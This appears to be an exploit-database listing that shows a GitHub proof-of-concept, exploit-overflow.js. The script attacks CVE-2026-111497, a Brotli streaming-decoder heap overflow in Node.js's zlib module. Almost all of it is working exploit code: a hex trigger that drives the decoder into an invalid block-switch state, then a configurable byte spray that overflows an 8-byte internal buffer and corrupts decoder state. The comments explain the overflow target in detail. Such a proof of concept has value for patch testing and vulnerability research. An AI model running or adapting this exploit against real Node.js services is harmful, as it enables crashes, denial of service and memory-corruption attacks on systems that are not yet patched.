Exploit database

GH-b1a007fc5b17c57d4ee7a9a50e8048d4

googlesky/cve-2026-111497

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-111497

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files17
googlesky/cve-2026-111497Revision 1c4b512ae781

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/src/exploit-overflow.js

JavaScript · 3,716 bytes
#!/usr/bin/env node
// CVE-2026-111497 — Weaponization: 8-byte internal buffer overflow
//
// Root cause chain (from Node.js advisory):
//   "An invalid block switch was reported as a temporary need for more input
//    instead of a permanent format error, so the streaming decoder kept
//    appending input bytes to an eight-byte internal buffer."
//
// In BrotliDecoderDecompressStream (vulnerable versions):
//     } else if (*available_in != 0) {
//       BROTLI_DCHECK(s->buffer_length < 8);          // no-op in release
//       s->buffer.u8[s->buffer_length] = **next_in;   // OOB write
//       s->buffer_length++;                            // unbounded
//
// Once the decoder is stuck at the invalid block switch (state returns
// NEEDS_MORE_INPUT forever), every additional input byte is appended past
// s->buffer.u8[8] — a linear heap overflow with attacker-controlled bytes.
// Fields after `buffer` in BrotliDecoderState: buffer_length, pos,
// max_backward_distance, max_distance, ringbuffer_size, ringbuffer_mask,
// dist_rb_idx, dist_rb[4], ..., ringbuffer pointer, huffman groups, ...
//
// This program drives Node's streaming decoder into that state, then feeds
// a large chunk to overflow the buffer and corrupt the decoder state,
// aiming for a crash (SIGSEGV/SIGABRT) = proof of memory corruption.
'use strict';

const zlib = require('zlib');

const TRIGGER = Buffer.from('200010414141fcffff07002228f00b60f7f41f000000', 'hex');
const patched = zlib.constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH !== undefined;

const sprayLen = parseInt(process.argv[2] || '1048576', 10); // 1MB default
const sprayByte = parseInt(process.argv[3] || '0x41', 16);
const feedMode = process.argv[4] || 'whole'; // whole | bytewise

console.log(`[*] node=${process.version} patched=${patched}`);
console.log(`[*] spray=${sprayLen} bytes of 0x${sprayByte.toString(16)} mode=${feedMode}`);

const d = zlib.createBrotliDecompress();
let outBytes = 0;
let done = false;

d.on('data', (c) => { outBytes += c.length; });
d.on('error', (e) => {
  if (done) return;
  done = true;
  console.log(`[!] decoder error: code=${e.code} errno=${e.errno} outBytes=${outBytes}`);
  if (e.errno === -17) {
    console.log('[+] PATCHED build: invalid block switch rejected');
  } else if (e.errno === -9) {
    console.log('[*] vuln build: BLOCK_LENGTH_1 error (invalid switch mishandled)');
  }
  process.exit(0);
});
d.on('end', () => {
  if (done) return;
  done = true;
  console.log(`[+] stream ended cleanly, outBytes=${outBytes}`);
  process.exit(0);
});

process.on('uncaughtException', (e) => {
  console.log(`[!] uncaught: ${e.message}`);
  process.exit(1);
});

// Watchdog: if no crash and no error within 15s, report state
const wd = setTimeout(() => {
  if (!done) {
    console.log(`[!] watchdog: 15s elapsed, outBytes=${outBytes} — decoder stuck/looping (DoS)`);
    process.exit(3);
  }
}, 15000);
wd.unref();

// Stage 1: feed the trigger to reach the invalid block switch state
if (feedMode === 'bytewise') {
  for (let i = 0; i < TRIGGER.length; i++) {
    d.write(TRIGGER.subarray(i, i + 1));
  }
} else {
  d.write(TRIGGER);
}

// Stage 2: spray — overflow the 8-byte internal buffer
console.log('[*] spraying...');
const spray = Buffer.alloc(sprayLen, sprayByte);

// write in chunks so libuv keeps pumping
const CHUNK = 64 * 1024;
let off = 0;
function pump() {
  if (done) return;
  while (off < spray.length) {
    const end = Math.min(off + CHUNK, spray.length);
    const canContinue = d.write(spray.subarray(off, end));
    off = end;
    if (!canContinue) {
      d.once('drain', pump);
      return;
    }
  }
  d.end();
  console.log('[*] all spray written, stream ended');
}
pump();